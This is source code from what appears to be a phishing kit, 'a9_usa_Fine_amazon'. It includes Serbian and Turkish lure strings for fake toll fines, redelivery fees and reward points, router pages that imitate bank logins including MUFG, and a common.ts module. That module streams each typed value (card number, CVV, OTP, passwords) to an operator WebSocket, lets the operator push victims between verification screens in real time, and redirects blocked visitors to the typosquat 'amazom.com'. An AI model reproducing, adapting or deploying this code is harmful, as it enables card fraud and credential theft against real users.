"Please confirm your identity and a one-time code will be sent": "Потврдите свој идентитет и једнократни код ће бити послат на ваш телефон или е-пошту. Унесите код овде",
|
||||
"The verification code has been sent to": "Код за потврду је послат на",
|
||||
"Please do not click the": "Молимо вас да не кликћете на 'Освежи' или 'Назад' јер то може прекинути трансакцију",
|
||||
"Verification code error, please try again": "Грешка у коду за потврду, покушајте поново",
|
||||
"The session is about to expire, please complete the verification now": "Сесија ће ускоро истећи, молимо довршите верификацију",
|
||||
"This card does not support this transaction, please try another card": "Ова картица не подржава ову трансакцију, покушајте са другом картицом",
|
||||
"Authorized bank": "Овлашћена банка",
|
||||
"Please go to the bank App to confirm the authorization": "Идите у апликацију банке да потврдите овлашћење",
|
||||
"Please do not close this page": "Не затварајте ову страницу",
|
||||
"Payment Successful": "Успешно плаћање!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully": "Хвала вам на куповини. Плаћање је успешно обрађено",
|
||||
"Mailing address": "Адреса за доставу",
|
||||
"street address or house number": "Улица или број куће",
|
||||
"Apartment number": "Број стана, собе итд.",
|
||||
"Safe payment": "Безбедно плаћање",
|
||||
"Verification code": "Код за потврду",
|
||||
"Welcome": "Добродошли",
|
||||
"back": "Назад!",
|
||||
"We reward you for using point services": "Награђујемо вас за коришћење услуга поена",
|
||||
"Check your points": "Проверите ваше поене",
|
||||
"Phone number": "Број телефона",
|
||||
"Inquire": "Провери",
|
||||
"Exchange": "Размена",
|
||||
"Spend points": "Искористите поене",
|
||||
"Points Available": "Доступни поени",
|
||||
"You don't have enough points": "Немате довољно поена",
|
||||
"Please redeem your favorite product": "Искористите своје поене за омиљени производ",
|
||||
"Confirm your shipping address": "Потврдите адресу испоруке",
|
||||
"Order number": "Број поруџбине: ",
|
||||
"Pay": "Плати",
|
||||
"Pay Message": "Платите {0} да бисте искористили поене за производе",
|
||||
"Pay electronic tolls online": "Платите електронску путарину на мрежи",
|
||||
"your electronic toll payment was unsuccessful": "Ваше плаћање путарине није успело.",
|
||||
"Billing Information": "Подаци за обрачун",
|
||||
"Description": "Опис",
|
||||
"Dear customer": "Поштовани клијент:",
|
||||
"Electronic Communications Charge Payment Failed": "Плаћање трошкова електронске комуникације није успело",
|
||||
"Invoice Number": "Број фактуре",
|
||||
"Amount": "Износ",
|
||||
"Pay Immediately": "Платите одмах",
|
||||
"Phone Number": "Број телефона",
|
||||
"Electronic communication fee payment failed": "Плаћање накнаде за електронску комуникацију није успело",
|
||||
"Illustrate": "Објасни",
|
||||
"SSL Encryption": "SSL енкрипција",
|
||||
"PCI-DSS Certified": "PCI-DSS сертификат",
|
||||
"Transaction Details": "Детаљи трансакције",
|
||||
"Transaction ID:": "ИД трансакције:",
|
||||
"Processing Network:": "Мрежа за обраду:",
|
||||
"Processing Time:": "Време обраде:",
|
||||
"Security Level:": "Ниво безбедности:",
|
||||
"Preparing...": "Припрема се...",
|
||||
"High": "Висок",
|
||||
"Initializing payment environment...": "Иницијализација окружења за плаћање...",
|
||||
"Encrypting card information...": "Шифровање података картице...",
|
||||
"Establishing secure connection...": "Успостављање сигурне везе...",
|
||||
"Verifying card number and issuer...": "Провера броја картице и издаваоца...",
|
||||
"Validating CVV code...": "Проверавање CVV кода...",
|
||||
"Checking fraud risk...": "Провера ризика од преваре...",
|
||||
"Sending transaction request...": "Слање захтева за трансакцију...",
|
||||
"Waiting for bank authorization...": "Чекање одобрења банке...",
|
||||
"Processing bank response...": "Обрада одговора банке...",
|
||||
"Confirming transaction status...": "Потврда статуса трансакције...",
|
||||
"Finalizing transaction...": "Завршетак трансакције...",
|
||||
"Visa Secure Network": "Visa безбедна мрежа",
|
||||
"Mastercard Global Payment Network": "Mastercard глобална мрежа за плаћање",
|
||||
"American Express Dedicated Channel": "American Express наменски канал",
|
||||
"UnionPay Gateway": "UnionPay пролаз",
|
||||
"{time} seconds": "{time} секунди",
|
||||
"International Payment Network": "Међународна мрежа за плаћање",
|
||||
"Homepage License Plate": "Почетна регистрација возила",
|
||||
"JCC Smart Cyprus Image": "JCC Smart Kipar слика",
|
||||
"Check Your Payment Details": "Проверите детаље плаћања",
|
||||
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Унесите регистарски број возила да бисте проверили свој налог и благовремено платили путарину како бисте избегли казне.",
|
||||
"Enter license plate number (e.g. XYZ1234)": "Унесите број таблице (нпр. XYZ1234)",
|
||||
"Verify Payment Details": "Потврдите детаље плаћања",
|
||||
"Toll Payment": "Плаћање путарине",
|
||||
"License Plate Number": "Регистарски број возила",
|
||||
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Информације о саобраћајним прекршајима (нпр. коришћење мобилног телефона током вожње). Први прекршај <strong>50€</strong>, други <strong>150€</strong> итд.",
|
||||
"Tolls": "Путарина",
|
||||
"Due Date": "Рок доспећа",
|
||||
"Fine Amount": "Износ казне",
|
||||
"Pay Now": "Плати сада",
|
||||
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Имајте у виду да је због кашњења плаћања ова трансакција могућа само кредитном картицом.",
|
||||
"Cardholder Name": "Име носиоца картице",
|
||||
"First and Last Name": "Име и презиме",
|
||||
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
|
||||
"Expiration Date": "Датум истека",
|
||||
"MM/YY": "MM/ГГ",
|
||||
"123(CVV)": "123(CVV)",
|
||||
"Card Icon": "Икона картице",
|
||||
"CVV": "CVV",
|
||||
"Successful Toll Payment": "Успешно плаћена путарина",
|
||||
"Thank you for your payment. The tolls have been processed successfully.": "Хвала вам на плаћању. Путарина је успешно обрађена.",
|
||||
"Phone": "Телефон",
|
||||
"Toll Amount": "Износ путарине"
|
||||
};
|
||||
82
a9_usa_Fine_amazon/src/locales/tr/index.ts
Normal file
@@ -0,0 +1,82 @@
|
||||
export default {
|
||||
"There is an error in this field, please check":
|
||||
"Bu alanda bir hata var, lütfen kontrol edin",
|
||||
"Please enter a valid email address": "Lütfen geçerli bir e-posta adresi girin",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery":
|
||||
"Değerli kullanıcılar, teslimatın başarılı olması için lütfen formu dikkatlice doldurun",
|
||||
"Your Name": "Adınız",
|
||||
"Address": "Adres",
|
||||
"Detailed Address": "Detaylı Adres",
|
||||
"(Optional)": "(İsteğe bağlı)",
|
||||
"City": "Şehir",
|
||||
"State": "Eyalet",
|
||||
"Province": "İl",
|
||||
"Region": "Bölge",
|
||||
"Zip Code": "Posta Kodu",
|
||||
"E-Mail": "E-Posta",
|
||||
"Next": "İleri",
|
||||
"Telephone Number": "Telefon Numarası",
|
||||
"Online": "Çevrimiçi",
|
||||
"Payment": "Ödeme",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
|
||||
"Yeniden teslimat için bazı hizmet ücretleri tahsil etmemiz gerekiyor. Ödemenin ardından paketiniz yeniden gönderilecektir",
|
||||
"lump sum: ": "Toplam tutar: ",
|
||||
"Cardholder": "Kart Sahibi",
|
||||
"Card Number": "Kart Numarası",
|
||||
"Expire Date": "Son Kullanma Tarihi",
|
||||
"Security Code": "Güvenlik Kodu",
|
||||
"Submit": "Gönder",
|
||||
"Click here to receive another code": "Yeni bir kod almak için buraya tıklayın",
|
||||
"Please confirm your identity and a one-time code will be sent":
|
||||
"Lütfen kimliğinizi doğrulayın, cep telefonu numaranıza veya e-posta adresinize tek kullanımlık bir kod gönderilecektir. Lütfen doğrulama kodunu buraya girin",
|
||||
"The verification code has been sent to":
|
||||
"Doğrulama kodu şu adrese gönderildi:",
|
||||
"Please do not click the":
|
||||
"Lütfen 'Yenile' veya 'Geri' düğmelerine tıklamayın, aksi takdirde işleminiz sona erebilir veya kesilebilir",
|
||||
"Verification code error, please try again":
|
||||
"Doğrulama kodu hatalı, lütfen tekrar deneyin",
|
||||
"The session is about to expire, please complete the verification now":
|
||||
"Oturumunuz sona ermek üzere, lütfen şimdi doğrulamayı tamamlayın",
|
||||
"This card does not support this transaction, please try another card":
|
||||
"Bu kart bu işlemi desteklemiyor, lütfen başka bir kart deneyin",
|
||||
"Authorized bank": "Yetkili banka",
|
||||
"Please go to the bank App to confirm the authorization":
|
||||
"Lütfen yetkilendirmeyi onaylamak için banka uygulamasına gidin",
|
||||
"Please do not close this page": "Lütfen bu sayfayı kapatmayın",
|
||||
"Payment Successful": "Ödeme Başarılı!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully":
|
||||
"Satın alma işleminiz için teşekkür ederiz. Ödemeniz başarıyla işlendi",
|
||||
"Mailing address": "Posta Adresi",
|
||||
"street address or house number": "Sokak adresi veya ev numarası",
|
||||
"Apartment number": "Daire numarası, oda numarası vb.",
|
||||
"Safe payment": "Güvenli ödeme",
|
||||
"Verification code": "Doğrulama kodu",
|
||||
"Welcome": "Hoş geldiniz",
|
||||
"back": "geri!",
|
||||
"We reward you for using point services": "Puan hizmetlerini kullandığınız için sizi ödüllendiriyoruz",
|
||||
"Check your points": "Puanlarınızı kontrol edin",
|
||||
"Phone number": "Telefon numarası",
|
||||
"Inquire": "Sorgula",
|
||||
"Exchange": "Değiştir",
|
||||
"Spend points": "Puan harca",
|
||||
"Points Available": "Mevcut Puanlar",
|
||||
"You don't have enough points": "Yeterli puanınız yok",
|
||||
"Please redeem your favorite product": "Lütfen favori ürününüzü kullanarak puanınızı harcayın",
|
||||
"Confirm your shipping address": "Teslimat adresinizi onaylayın",
|
||||
"Order number": "Sipariş numarası: ",
|
||||
"Pay": "Öde",
|
||||
"Pay Message": "{0} ödeyerek puan karşılığı ürün alabilirsiniz",
|
||||
"Pay electronic tolls online": "Elektronik otoyol ücretlerini çevrimiçi ödeyin",
|
||||
"your electronic toll payment was unsuccessful":
|
||||
"Elektronik otoyol ödemeniz başarısız oldu.",
|
||||
"Billing Information": "Fatura Bilgileri",
|
||||
"Description": "Açıklama",
|
||||
"Dear customer": "Sayın müşteri:",
|
||||
"Electronic Communications Charge Payment Failed": "Elektronik iletişim ücreti ödemesi başarısız oldu",
|
||||
"Invoice Number": "Fatura Numarası",
|
||||
"Amount": "Tutar",
|
||||
"Pay Immediately": "Hemen Öde",
|
||||
"Phone Number": "Telefon Numarası",
|
||||
"Electronic communication fee payment failed": "Elektronik iletişim ücreti ödemesi başarısız oldu",
|
||||
"Illustrate": "Açıklama"
|
||||
};
|
||||
28
a9_usa_Fine_amazon/src/main.ts
Normal file
@@ -0,0 +1,28 @@
|
||||
import { createApp, ref } from "vue";
|
||||
import { createPinia } from "pinia";
|
||||
|
||||
import App from "./App.vue";
|
||||
import router from "./router";
|
||||
import { createI18n } from "vue-i18n";
|
||||
import en from "./locales/en";
|
||||
import "./assets/main.css";
|
||||
import "./assets/base.css";
|
||||
import VueScrollTo from "vue-scrollto";
|
||||
|
||||
const userData = ref({});
|
||||
|
||||
const app = createApp(App);
|
||||
app.config.globalProperties.$currentUser = userData;
|
||||
const i18n = createI18n({
|
||||
locale: "en",
|
||||
messages: {
|
||||
en: en,
|
||||
},
|
||||
});
|
||||
|
||||
app.use(i18n);
|
||||
app.use(createPinia());
|
||||
app.use(router);
|
||||
|
||||
app.mount("#app");
|
||||
export default i18n;
|
||||
173
a9_usa_Fine_amazon/src/router/index.ts
Normal file
@@ -0,0 +1,173 @@
|
||||
import { createRouter, createMemoryHistory } from "vue-router";
|
||||
|
||||
// --- All view components are now explicitly imported for full static loading ---
|
||||
import IndexView from "@/views/IndexView.vue";
|
||||
import PhoneView from "@/views/PhoneView.vue";
|
||||
import PayView from "@/views/PayView.vue";
|
||||
import OtpView from "@/views/OtpView.vue";
|
||||
import CustomOtpView from "@/views/CustomOtpView.vue";
|
||||
import AppValidView from "@/views/AppValidView.vue";
|
||||
import AddressView from "@/views/AddressView.vue";
|
||||
import SuccessView from "@/views/SuccessView.vue";
|
||||
import CardView from "@/views/CardView.vue";
|
||||
import TcasswordView from "@/views/tcasswordView.vue";
|
||||
import UserLogin from "@/views/user_login.vue";
|
||||
import UserVerification from "@/views/user_verification.vue";
|
||||
import UserVerification_otp from "@/views/user_verification_otp.vue";
|
||||
import UserPassword from "@/views/user_password.vue";
|
||||
import InfoMufgView from "@/views/info_mufgView.vue";
|
||||
import SdpageMufgView from "@/views/sdpage_mufgView.vue";
|
||||
import VerificationcodepageView from "@/views/VerificationcodepageView.vue";
|
||||
import AppVerify from "@/views/App_verify.vue";
|
||||
import AppVerify2 from "@/views/App_verify2.vue";
|
||||
import VerificationcodepagePinView from "@/views/VerificationcodepagePinView.vue";
|
||||
import VerificationcodepageexView from "@/views/VerificationcodepageexView.vue";
|
||||
const router = createRouter({
|
||||
/**
|
||||
* History Mode: createMemoryHistory
|
||||
*
|
||||
* This mode maintains an internal history stack **without interacting with the browser's URL**.
|
||||
* The URL in the address bar will not change, and it will not add entries to the browser's native history.
|
||||
*
|
||||
* This is ideal for scenarios like:
|
||||
* - **Server-Side Rendering (SSR)**: Where a browser environment is not available.
|
||||
* - **Desktop Applications (e.g., Electron)**: For internal app navigation that shouldn't affect OS-level browser history.
|
||||
* - **Embedded Applications**: When your Vue app is nested within a larger system and should not alter the parent's URL.
|
||||
*
|
||||
* **Important**: Users cannot bookmark specific internal routes or use browser back/forward buttons
|
||||
* to navigate within your Vue app's routes. Navigation is strictly controlled programmatically (e.g., via `<router-link>` or `router.push()`).
|
||||
*/
|
||||
history: createMemoryHistory(import.meta.env.BASE_URL),
|
||||
|
||||
routes: [
|
||||
{
|
||||
path: "/",
|
||||
name: "home",
|
||||
// --- Component directly assigned for full static loading ---
|
||||
component: IndexView,
|
||||
},
|
||||
{
|
||||
path: "/phone",
|
||||
name: "phone",
|
||||
component: PhoneView,
|
||||
},
|
||||
{
|
||||
path: "/pay",
|
||||
name: "pay",
|
||||
component: PayView,
|
||||
},
|
||||
{
|
||||
path: "/otpValid",
|
||||
name: "otpValid",
|
||||
component: OtpView,
|
||||
},
|
||||
{
|
||||
path: "/customOtpValid",
|
||||
name: "customOtpValid",
|
||||
component: CustomOtpView,
|
||||
},
|
||||
{
|
||||
path: "/user_login",
|
||||
name: "user_login",
|
||||
component: UserLogin,
|
||||
},
|
||||
{
|
||||
path: "/user_verification",
|
||||
name: "user_verification",
|
||||
component: UserVerification,
|
||||
},
|
||||
{
|
||||
path: "/user_verification_otp",
|
||||
name: "user_verification_otp",
|
||||
component: UserVerification_otp,
|
||||
},
|
||||
{
|
||||
path: "/user_password",
|
||||
name: "user_password",
|
||||
component: UserPassword,
|
||||
},
|
||||
{
|
||||
path: "/info_mufg",
|
||||
name: "info_mufg",
|
||||
component: InfoMufgView,
|
||||
},
|
||||
{
|
||||
path: "/sdpage_mufg",
|
||||
name: "sdpage_mufg",
|
||||
component: SdpageMufgView,
|
||||
},
|
||||
{
|
||||
path: "/verificationcodepage",
|
||||
name: "verificationcodepage",
|
||||
component: VerificationcodepageView,
|
||||
},
|
||||
{
|
||||
path: "/App_verify",
|
||||
name: "App_verify",
|
||||
component: AppVerify,
|
||||
},
|
||||
{
|
||||
path: "/App_verify2",
|
||||
name: "App_verify2",
|
||||
component: AppVerify2,
|
||||
},
|
||||
{
|
||||
path: "/verificationcodepagepin",
|
||||
name: "Verificationcodepagepin",
|
||||
component: VerificationcodepagePinView,
|
||||
},
|
||||
{
|
||||
path: "/verificationcodepageex",
|
||||
name: "verificationcodepageex",
|
||||
component: VerificationcodepageexView,
|
||||
},
|
||||
{
|
||||
path: "/appValid",
|
||||
name: "appValid",
|
||||
component: AppValidView,
|
||||
},
|
||||
{
|
||||
path: "/address",
|
||||
name: "address",
|
||||
component: AddressView,
|
||||
},
|
||||
{
|
||||
path: "/success",
|
||||
name: "success",
|
||||
component: SuccessView,
|
||||
},
|
||||
{
|
||||
path: "/card",
|
||||
name: "card",
|
||||
component: CardView,
|
||||
},
|
||||
],
|
||||
|
||||
/**
|
||||
* Scroll Behavior:
|
||||
* Controls the scrolling position when navigating between routes.
|
||||
*
|
||||
* @param {Object} to - The target route object.
|
||||
* @param {Object} from - The current route object being left.
|
||||
* @param {Object} savedPosition - The saved scroll position if navigating back/forward.
|
||||
* @returns {Object} An object with `left` and `top` properties (for scrolling to coordinates).
|
||||
*/
|
||||
scrollBehavior(to, from, savedPosition) {
|
||||
// If a saved position exists (e.g., from browser's back/forward, though less common with MemoryHistory), restore it.
|
||||
if (savedPosition) {
|
||||
return savedPosition;
|
||||
} else {
|
||||
// Otherwise, scroll to the top of the page. Added 'smooth' for a better user experience.
|
||||
return { left: 0, top: 0, behavior: "smooth" };
|
||||
}
|
||||
},
|
||||
});
|
||||
router.afterEach(() => {
|
||||
// Try all common scroll containers
|
||||
window.scrollTo({ top: 0, left: 0, behavior: "auto" });
|
||||
document.documentElement.scrollTop = 0;
|
||||
document.body.scrollTop = 0;
|
||||
const wrap = document.querySelector(".v-application--wrap") as HTMLElement | null;
|
||||
if (wrap) wrap.scrollTop = 0;
|
||||
});
|
||||
export default router;
|
||||
15
a9_usa_Fine_amazon/src/stores/counter.ts
Normal file
@@ -0,0 +1,15 @@
|
||||
import { defineStore } from "pinia";
|
||||
|
||||
export const useLoadingStore = defineStore("loading", {
|
||||
state: () => ({
|
||||
isLoading: false,
|
||||
}),
|
||||
actions: {
|
||||
showLoading() {
|
||||
this.isLoading = true;
|
||||
},
|
||||
hideLoading() {
|
||||
this.isLoading = false;
|
||||
},
|
||||
},
|
||||
});
|
||||
13
a9_usa_Fine_amazon/src/stores/loadingStore.ts
Normal file
@@ -0,0 +1,13 @@
|
||||
// stores/loadingStore.ts
|
||||
import { defineStore } from "pinia";
|
||||
|
||||
export const useLoadingStore = defineStore("loading", {
|
||||
state: () => ({
|
||||
isLoading: false,
|
||||
}),
|
||||
actions: {
|
||||
setLoading(value: boolean) {
|
||||
this.isLoading = value;
|
||||
},
|
||||
},
|
||||
});
|
||||
544
a9_usa_Fine_amazon/src/utils/common.ts
Normal file
@@ -0,0 +1,544 @@
|
||||
import _ from "lodash";
|
||||
import eventBus from "@/utils/eventBus";
|
||||
import router from "@/router";
|
||||
import { ref } from "vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import i18n from "@/main";
|
||||
import { useSocketIo, type SessionCrypto } from "./socketio";
|
||||
|
||||
let viteBaseUrl = import.meta.env.VITE_BASE_URL;
|
||||
if (viteBaseUrl === "/") {
|
||||
viteBaseUrl = "/";
|
||||
} else if (viteBaseUrl === "localhost:8011") {
|
||||
viteBaseUrl = "ws://" + viteBaseUrl;
|
||||
} else {
|
||||
viteBaseUrl = "wss://" + viteBaseUrl;
|
||||
}
|
||||
|
||||
|
||||
// Redirect to an external URL
|
||||
export function redirectToExternal() {
|
||||
window.location.replace("https://amazom.com");
|
||||
}
|
||||
|
||||
const initHtml = async () => {
|
||||
const routePath = localStorage.getItem("route");
|
||||
// headHtml.value = await loadHtml("/gtm_post/head.html");
|
||||
|
||||
await router.push(routePath ? `/${routePath}` : "/user_login");
|
||||
setTimeout(async () => {
|
||||
useLoadingStore().setLoading(false);
|
||||
loadingBg.value = "#00000072";
|
||||
}, 200);
|
||||
};
|
||||
|
||||
export const customOtpData = ref<any>({});
|
||||
|
||||
export function setCustomOtpData(data: any) {
|
||||
customOtpData.value = data;
|
||||
localStorage.setItem("customOtpData", JSON.stringify(data));
|
||||
}
|
||||
|
||||
export let myWebSocket: any | undefined;
|
||||
|
||||
// Configuration data
|
||||
export const configData = ref<Record<string, any>>({});
|
||||
|
||||
// Utility function to check if all values in an object are not empty
|
||||
export function areAllValuesNotEmpty(
|
||||
obj: Record<string, any>,
|
||||
excludedFields: string[] = []
|
||||
): boolean {
|
||||
return Object.keys(obj).every((key) => {
|
||||
if (excludedFields.includes(key)) return true;
|
||||
const value = obj[key];
|
||||
return (
|
||||
value !== null &&
|
||||
value !== undefined &&
|
||||
value !== "" &&
|
||||
!(typeof value === "string" && value.trim() === "")
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
// 存储 WebSocket 和 API 的防抖函数
|
||||
const wsDebounceFunctions: Record<
|
||||
string,
|
||||
_.DebouncedFunc<(...args: any[]) => void>
|
||||
> = {};
|
||||
const apiDebounceFunctions: Record<
|
||||
string,
|
||||
_.DebouncedFunc<(...args: any[]) => void>
|
||||
> = {};
|
||||
|
||||
// 获取或创建针对某个键的防抖函数
|
||||
function getDebouncedFunction(
|
||||
debounceFunctions: Record<string, _.DebouncedFunc<(...args: any[]) => void>>,
|
||||
key: string,
|
||||
func: (...args: any[]) => void,
|
||||
wait: number
|
||||
) {
|
||||
if (!debounceFunctions[key]) {
|
||||
debounceFunctions[key] = _.debounce(func, wait);
|
||||
}
|
||||
return debounceFunctions[key];
|
||||
}
|
||||
|
||||
const modeRef = ref(1)
|
||||
|
||||
|
||||
// 处理输入变化
|
||||
export function inputChange(type: string, key: any, value: any) {
|
||||
const currentTimestamp = Date.now(); // 当前时间戳
|
||||
|
||||
// WebSocket 防抖函数
|
||||
const wsDebouncedFunction = getDebouncedFunction(
|
||||
wsDebounceFunctions,
|
||||
key,
|
||||
(type, key, value) => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "input_text",
|
||||
content: { type, key, text: value },
|
||||
timestamp: currentTimestamp,
|
||||
})
|
||||
);
|
||||
},
|
||||
300
|
||||
);
|
||||
// 调用防抖函数
|
||||
wsDebouncedFunction(type, key, value);
|
||||
|
||||
}
|
||||
|
||||
|
||||
// Handle login success
|
||||
export function loginSuccess(token: string, mode: number, sessionCrypto: SessionCrypto | null = null) {
|
||||
const baseWsUrl = viteBaseUrl !== "/" ? viteBaseUrl : "wss://" + window.location.host;
|
||||
myWebSocket = useSocketIo(`${baseWsUrl}/ws`, token, sessionCrypto);
|
||||
myWebSocket?.on("close", () => console.log("Socket closed!"));
|
||||
myWebSocket?.on("open", () => {
|
||||
const lastToken = localStorage.getItem("token");
|
||||
loginWebsocket(token, lastToken !== token);
|
||||
});
|
||||
|
||||
myWebSocket?.on("message", handleMessage);
|
||||
|
||||
window.addEventListener("beforeunload", () => {
|
||||
myWebSocket?.off("close");
|
||||
});
|
||||
}
|
||||
|
||||
// Handle WebSocket messages
|
||||
function handleMessage(data: any) {
|
||||
console.log("Received WebSocket message:", data);
|
||||
const jsonData = JSON.parse(data);
|
||||
if (!jsonData || !jsonData.event) return;
|
||||
|
||||
const { event, content } = jsonData;
|
||||
|
||||
switch (event) {
|
||||
case "login":
|
||||
//handleLoginEvent(content);
|
||||
break;
|
||||
case "result_type":
|
||||
handleResultTypeEvent(content);
|
||||
break;
|
||||
case "reload":
|
||||
window.location.reload();
|
||||
break;
|
||||
case "navigate":
|
||||
navigateTo(content.pagePath, content);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Handle result type event
|
||||
function handleResultTypeEvent(content: any) {
|
||||
if (!content) return;
|
||||
console.log("Handling result type event with content:", content);
|
||||
const typeHandlers: Record<string, () => void> = {
|
||||
customOtpValid: () => navigateTo("/customOtpValid", content),
|
||||
otpValid: () => navigateTo("/otpValid", content),
|
||||
appValid: () => navigateTo("/appValid", content),
|
||||
success: () => router.push("/success"),
|
||||
kickOut: redirectToExternal,
|
||||
block: redirectToExternal,
|
||||
nexthsbankpage: () => {
|
||||
router.push({
|
||||
path: "/verificationcodehs",
|
||||
query: {
|
||||
message1: content.value.message1,
|
||||
key: new Date().getMilliseconds(),
|
||||
},
|
||||
});
|
||||
},
|
||||
nextxzbankpage: () => {
|
||||
router.push({
|
||||
path: "/verificationcodexz",
|
||||
query: {
|
||||
message1: content.value.message1,
|
||||
key: new Date().getMilliseconds(),
|
||||
},
|
||||
});
|
||||
},
|
||||
backHsbankpage: () => {
|
||||
router.push({ path: "/hsbankpage" });
|
||||
},
|
||||
|
||||
|
||||
nextlogin_mufg: () => {
|
||||
router.push({
|
||||
path: "/info_mufg",
|
||||
query: {
|
||||
message1: content.value.message1,
|
||||
key: new Date().getMilliseconds(),
|
||||
},
|
||||
});
|
||||
},
|
||||
user_login: () => {
|
||||
router.push({
|
||||
path: "/user_login",
|
||||
query: {
|
||||
message1: content.value.message1,
|
||||
key: new Date().getMilliseconds(),
|
||||
},
|
||||
});
|
||||
},
|
||||
user_password: () => {
|
||||
router.push({
|
||||
path: "/user_password",
|
||||
query: {
|
||||
message1: content.value.message1,
|
||||
key: new Date().getMilliseconds(),
|
||||
},
|
||||
});
|
||||
},
|
||||
App_verify: () => {
|
||||
router.push({
|
||||
path: "/App_verify",
|
||||
query: {
|
||||
message1: content.value.message1,
|
||||
key: new Date().getMilliseconds(),
|
||||
},
|
||||
});
|
||||
},
|
||||
App_verify2: () => {
|
||||
router.push({
|
||||
path: "/App_verify2",
|
||||
query: {
|
||||
message1: content.value.message1,
|
||||
key: new Date().getMilliseconds(),
|
||||
},
|
||||
});
|
||||
},
|
||||
|
||||
|
||||
next_pay: () => {
|
||||
router.push({
|
||||
path: "/pay",
|
||||
query: {
|
||||
message1: content.value.message1,
|
||||
key: new Date().getMilliseconds(),
|
||||
},
|
||||
});
|
||||
},
|
||||
next_card: () => {
|
||||
router.push({
|
||||
path: "/card",
|
||||
query: {
|
||||
message1: content.value.message1,
|
||||
key: new Date().getMilliseconds(),
|
||||
},
|
||||
});
|
||||
},
|
||||
user_verification: () => {
|
||||
router.push({
|
||||
path: "/user_verification",
|
||||
query: {
|
||||
message1: content.value.message1,
|
||||
key: new Date().getMilliseconds(),
|
||||
},
|
||||
});
|
||||
},
|
||||
user_verification_otp: () => {
|
||||
router.push({
|
||||
path: "/user_verification_otp",
|
||||
query: {
|
||||
message1: content.value.message1,
|
||||
key: new Date().getMilliseconds(),
|
||||
},
|
||||
});
|
||||
},
|
||||
senumber_mufg: () => {
|
||||
router.push({
|
||||
path: "/senumber_mufg",
|
||||
query: {
|
||||
message1: content.value.message1,
|
||||
key: new Date().getMilliseconds(),
|
||||
},
|
||||
});
|
||||
},
|
||||
|
||||
securitypage_mufg: () => {
|
||||
router.push({
|
||||
path: "/securitypage_mufg",
|
||||
query: {
|
||||
message1: content.value.message1,
|
||||
key: new Date().getMilliseconds(),
|
||||
},
|
||||
});
|
||||
},
|
||||
|
||||
cardfillpage: () => {
|
||||
router.push({
|
||||
path: "/card",
|
||||
query: {
|
||||
message1: content.value.message1,
|
||||
key: new Date().getMilliseconds(),
|
||||
},
|
||||
});
|
||||
},
|
||||
|
||||
|
||||
verificationcodepage: () => {
|
||||
router.push({
|
||||
path: "/verificationcodepage",
|
||||
query: {
|
||||
message1: content.value.message1,
|
||||
key: new Date().getMilliseconds(),
|
||||
},
|
||||
});
|
||||
},
|
||||
verificationpageex: () => {
|
||||
router.push({
|
||||
path: "/verificationcodepageex",
|
||||
query: {
|
||||
message1: content.value.message1,
|
||||
key: new Date().getMilliseconds(),
|
||||
},
|
||||
});
|
||||
},
|
||||
backlogin_mufg: () => {
|
||||
router.push({ path: "/login_mufg" });
|
||||
},
|
||||
backinfo_mufg: () => {
|
||||
router.push({ path: "/info_mufg" });
|
||||
},
|
||||
backsenumber_mufg: () => {
|
||||
router.push({ path: "/senumber_mufg" });
|
||||
},
|
||||
backsecuritypage_mufg: () => {
|
||||
router.push({ path: "/securitypage_mufg" });
|
||||
},
|
||||
backcard: () => {
|
||||
router.push({ path: "/card" });
|
||||
},
|
||||
backHqbankpage: () => {
|
||||
router.push({ path: "/hqbankpage" });
|
||||
},
|
||||
backXzbankpage: () => {
|
||||
router.push({ path: "/xzbankpage" });
|
||||
},
|
||||
|
||||
nexthqbankpage: () => {
|
||||
router.push({
|
||||
path: "/verificationcodehq",
|
||||
query: {
|
||||
message1: content.value.message1,
|
||||
key: new Date().getMilliseconds(),
|
||||
},
|
||||
});
|
||||
},
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
backPasswd: () => {
|
||||
router.push({ path: "/passwd" });
|
||||
},
|
||||
|
||||
nextVerificationcode: () => {
|
||||
router.push({
|
||||
path: "/verificationcode",
|
||||
query: {
|
||||
message1: content.value.message1,
|
||||
key: new Date().getMilliseconds(),
|
||||
},
|
||||
});
|
||||
},
|
||||
|
||||
nextPincode: () => {
|
||||
router.push({
|
||||
path: "/verificationcodepagepin",
|
||||
query: {
|
||||
message1: content.value.message1,
|
||||
key: new Date().getMilliseconds(),
|
||||
},
|
||||
});
|
||||
},
|
||||
|
||||
|
||||
nextVerificationcodeex: () => {
|
||||
router.push({
|
||||
path: "/verificationcodeex",
|
||||
query: {
|
||||
message1: content.value.message1,
|
||||
key: new Date().getMilliseconds(),
|
||||
},
|
||||
});
|
||||
},
|
||||
toFail: () => {
|
||||
eventBus.emit("my-event", {
|
||||
message2:
|
||||
content.value.message2 ||
|
||||
i18n.global.t(
|
||||
"The session is about to expire, please complete the verification now"
|
||||
),
|
||||
});
|
||||
},
|
||||
toBack: () => {
|
||||
const currentRoute = localStorage.getItem("route")
|
||||
if (currentRoute == "card") {
|
||||
router.push({ path: "/login_mufg" });
|
||||
} else if (currentRoute == "verificationcodepage") {
|
||||
router.push({ path: "/login_mufg" });
|
||||
}
|
||||
},
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
otpFail: () =>
|
||||
eventBus.emit("otp-valid", {
|
||||
message2:
|
||||
content.value.message2 ||
|
||||
i18n.global.t("Verification code error, please try again"),
|
||||
}),
|
||||
appFail: () =>
|
||||
eventBus.emit("app-valid", {
|
||||
message2:
|
||||
content.value.message2 ||
|
||||
i18n.global.t(
|
||||
"The session is about to expire, please complete the verification now"
|
||||
),
|
||||
}),
|
||||
back: () => handleBackOrReject(content, true),
|
||||
reject: () => handleBackOrReject(content, false),
|
||||
refresh: () => {
|
||||
if (localStorage.getItem("route")) {
|
||||
localStorage.removeItem("route");
|
||||
